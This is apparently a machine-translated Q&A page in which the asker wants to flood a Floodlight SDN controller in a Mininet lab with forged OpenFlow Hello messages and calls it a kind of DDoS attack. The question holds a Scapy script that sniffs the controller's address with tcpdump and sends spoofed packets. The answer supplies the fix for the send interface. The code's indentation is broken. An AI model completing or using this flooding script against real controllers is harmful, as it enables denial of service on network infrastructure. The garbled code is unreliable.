Question

我正在编写一个代码，在其中使用tcpdump和wirehark捕获openflow13数据包。我正在运行mininet topo和Floodlight SDN控制器。从捕获中获取SDN控制器IP和端口详细信息后，我打算创建多个OFPTHello消息并将其发送给SDN控制器[某种DDoS攻击]。尽管我能够提取控制器的详细信息，但无法创建Scapy OFPTHello消息包。

请帮助我确定并解决问题

我正在运行Mininet Topo-

sudo mn --topo=linear,4 --mac --controller=remote,ip=192.168.56.102 --switch=ovsk,protocols=OpenFlow13

我的代码-

#!/usr/bin/env python3

try:
        import time
        import subprocess
        import json
        import sys
        from scapy.all import *
        from scapy.contrib.openflow import _ofp_header
        from scapy.fields import ByteEnumField, IntEnumField, IntField, LongField, PacketField, ShortField, XShortField
        from scapy.layers.l2 import Ether


        ofp_table = {0xfe: "MAX",
                     0xff: "ALL"}

        ofp_buffer = {0xffffffff: "NO_BUFFER"}

        ofp_version = {0x04: "OpenFlow 1.3"}

        ofp_type = {0: "OFPT_HELLO"}

        class OFPHET(_ofp_header):
                @classmethod
                def dispatch_hook(cls, _pkt=None, *args, **kargs):
                        if _pkt and len(_pkt) >= 2:
                                t = struct.unpack("!H", _pkt[:2])[0]
                                return ofp_hello_elem_cls.get(t, Raw)
                        return Raw
                def extract_padding(self, s):
                        return b"", s
    class OFPTHello(_ofp_header):
            name = "OFPT_HELLO"
            fields_desc = [ByteEnumField("version", 0x04, ofp_version),
                       ByteEnumField("type", 0, ofp_type),
                       ShortField("len", None),
                       IntField("xid", 0),
                       PacketListField("elements", [], OFPHET, length_from=lambda pkt: pkt.len - 8)]

    # Capture controller's IP address and Port
    Hello_Msg = []
    Switch_TCP_Port = []
    p = subprocess.Popen(['sudo', 'tcpdump', '-i', 'eth1', 'port', '6653', '-w', 'capture.pcap'], stdin=subprocess.PIPE, stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)
    time.sleep(45)
    p.terminate()

    captures = rdpcap('capture.pcap')

    for capture in captures:
            msg = (capture.summary()).split(" ")
            i = len(msg)
            if (msg[i-1] == "OFPTFeaturesRequest"):
                    Features_Request = capture.summary()
                    break;
            elif (msg[i-1] == "OFPTHello"):
                    Hello_Msg.append(capture.summary())

    for Hello in Hello_Msg:
            frame = Hello.split("/")[2]
            port = ((frame.split(" ")[2]).split(":"))[1]
            Switch_TCP_Port.append(port)

    Features_Request = Features_Request.split("/")[2]
    Source_Frame = (Features_Request.split(" ")[2]).split(":")

    Controller_IP = Source_Frame[0]
    Controller_Port = int(Source_Frame[1])

    print("\nController's IP Address: %s"%Controller_IP)
    print("Controller's Port: %s"%Controller_Port)


    # Generating Openfow PAcket_In using Scapy
    for p in Switch_TCP_Port:
            p = int(p)
            packet = Ether(src='08:00:27:fa:75:e9',dst='08:00:27:f1:24:22')/IP(src='192.168.56.101',dst=Controller_IP)/TCP(sport=p,dport=Controller_Port)/OFPTHello()
            send(packet)

except ImportError as e:
        print ("\n!!! ImportError !!!")
        print ("{0}. Install it.\n".format(e))

Wireshark Capture- [仅包含4个hello数据包，没有捕获Scapy数据包]

问题/问题-我能够从mininet拓扑接收理想数量的4个hello数据包。但是，wireshark不会发送/捕获我尝试使用scapy创建的新的hello数据包。我已附上我的船首代码以供参考。

Answer 1

在您的代码中执行此操作

修改该行：

发送（数据包）

收件人

send（packet，iface ='eth1'），其中eth1是攻击虚拟机的出口接口

原因是，即使在网络上放置了格式错误的Openflow数据包，Wireshark仍然能够捕获该数据包，前提是您的攻击VM拥有通往控制器VM的路由。这意味着您的代码没有将数据包放在正确的线路上，send（packet，iface ='eth1'）会将数据包放在正确的线路上。

无法使用Scapy创建

1 个答案: